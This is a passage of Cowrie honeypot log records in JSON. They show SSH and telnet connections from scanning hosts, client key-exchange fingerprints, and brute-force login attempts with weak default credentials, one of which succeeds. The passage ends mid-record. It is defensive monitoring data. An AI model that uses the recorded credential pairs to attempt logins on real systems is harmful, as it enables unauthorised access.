{"eventid":"cowrie.login.failed","username":"admin1","password":"123123","message":"login attempt [admin1/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:08.715876Z","src_ip":"159.203.92.129","session":"adad2b82eb1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:09.723936Z","src_ip":"159.203.92.129","session":"adad2b82eb1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.57","src_port":57066,"dst_ip":"159.203.135.109","dst_port":22,"session":"595e81a55601","protocol":"ssh","message":"New connection: 167.94.146.57:57066 (159.203.135.109:22) [session: 595e81a55601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:27.637974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:27.697226Z","src_ip":"167.94.146.57","session":"595e81a55601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:27.786862Z","src_ip":"167.94.146.57","session":"595e81a55601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:42.749627Z","src_ip":"167.94.146.57","session":"595e81a55601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43508,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3d0b3342806","protocol":"ssh","message":"New connection: 87.251.64.176:43508 (10.17.0.5:22) [session: b3d0b3342806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:47.535116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:47.539153Z","src_ip":"87.251.64.176","session":"b3d0b3342806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:47.637129Z","src_ip":"87.251.64.176","session":"b3d0b3342806","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:47.924117Z","src_ip":"87.251.64.176","session":"b3d0b3342806","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:48.022380Z","session":"b3d0b3342806","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:48.122606Z","src_ip":"87.251.64.176","session":"b3d0b3342806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:48.221340Z","src_ip":"87.251.64.176","session":"b3d0b3342806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55132,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd47e551adad","protocol":"ssh","message":"New connection: 159.203.92.129:55132 (159.203.135.109:22) [session: dd47e551adad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:51.536077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:51.539700Z","src_ip":"159.203.92.129","session":"dd47e551adad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:51.544388Z","src_ip":"159.203.92.129","session":"dd47e551adad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"1234","message":"login attempt [admin1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:51.554441Z","src_ip":"159.203.92.129","session":"dd47e551adad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:52.560936Z","src_ip":"159.203.92.129","session":"dd47e551adad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34278,"dst_ip":"159.203.135.109","dst_port":22,"session":"87f26f76b732","protocol":"ssh","message":"New connection: 159.203.92.129:34278 (159.203.135.109:22) [session: 87f26f76b732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:33.985999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:33.990539Z","src_ip":"159.203.92.129","session":"87f26f76b732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:33.995159Z","src_ip":"159.203.92.129","session":"87f26f76b732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"12345","message":"login attempt [admin1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:34.015366Z","src_ip":"159.203.92.129","session":"87f26f76b732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:35.022357Z","src_ip":"159.203.92.129","session":"87f26f76b732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00410342216492,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:37.500679Z","src_ip":"167.250.105.129","session":"e0a8dc0786d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00979375839233,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:46.166249Z","src_ip":"167.250.105.129","session":"4acfb19ad6c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.44.175.83","src_port":57006,"dst_ip":"159.203.135.109","dst_port":23,"session":"f15cd22210f2","protocol":"telnet","message":"New connection: 142.44.175.83:57006 (159.203.135.109:23) [session: f15cd22210f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:47.080847Z"}
{"eventid":"cowrie.session.closed","duration":120.00179386138916,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:47.743721Z","src_ip":"167.250.105.129","session":"3f9f5b100424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":9043,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b677b2886aa","protocol":"telnet","message":"New connection: 167.250.105.129:9043 (159.203.135.109:23) [session: 8b677b2886aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:48.946425Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":15984,"dst_ip":"159.203.135.109","dst_port":23,"session":"63c97cc56450","protocol":"telnet","message":"New connection: 167.250.105.129:15984 (159.203.135.109:23) [session: 63c97cc56450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:50.186846Z"}
{"eventid":"cowrie.session.closed","duration":120.00211524963379,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:51.403117Z","src_ip":"167.250.105.129","session":"239deea262dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":7690,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1d898efd2d7","protocol":"telnet","message":"New connection: 167.250.105.129:7690 (159.203.135.109:23) [session: c1d898efd2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:54.916311Z"}
{"eventid":"cowrie.session.closed","duration":120.00466060638428,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:57.010670Z","src_ip":"167.250.105.129","session":"1f5e3a4b8ba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00331830978394,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:59.357964Z","src_ip":"167.250.105.129","session":"1b746d5137ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":15850,"dst_ip":"159.203.135.109","dst_port":23,"session":"d997d4990ea6","protocol":"telnet","message":"New connection: 167.250.105.129:15850 (159.203.135.109:23) [session: d997d4990ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:54:59.647638Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":13847,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2dedd529107","protocol":"telnet","message":"New connection: 167.250.105.129:13847 (159.203.135.109:23) [session: b2dedd529107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:01.644729Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":9072,"dst_ip":"159.203.135.109","dst_port":23,"session":"2526f2247894","protocol":"telnet","message":"New connection: 167.250.105.129:9072 (159.203.135.109:23) [session: 2526f2247894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:01.939729Z"}
{"eventid":"cowrie.session.closed","duration":31.01787042617798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:18.098616Z","src_ip":"142.44.175.83","session":"f15cd22210f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60278,"dst_ip":"159.203.135.109","dst_port":22,"session":"d88cf6d44a5a","protocol":"ssh","message":"New connection: 159.203.92.129:60278 (159.203.135.109:22) [session: d88cf6d44a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:18.517304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:18.521261Z","src_ip":"159.203.92.129","session":"d88cf6d44a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:18.527075Z","src_ip":"159.203.92.129","session":"d88cf6d44a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:18.539468Z","src_ip":"159.203.92.129","session":"d88cf6d44a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:19.548444Z","src_ip":"159.203.92.129","session":"d88cf6d44a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55852,"dst_ip":"159.203.135.109","dst_port":22,"session":"14d9c42f2e97","protocol":"ssh","message":"New connection: 159.203.92.129:55852 (159.203.135.109:22) [session: 14d9c42f2e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:57.718742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:57.723807Z","src_ip":"159.203.92.129","session":"14d9c42f2e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 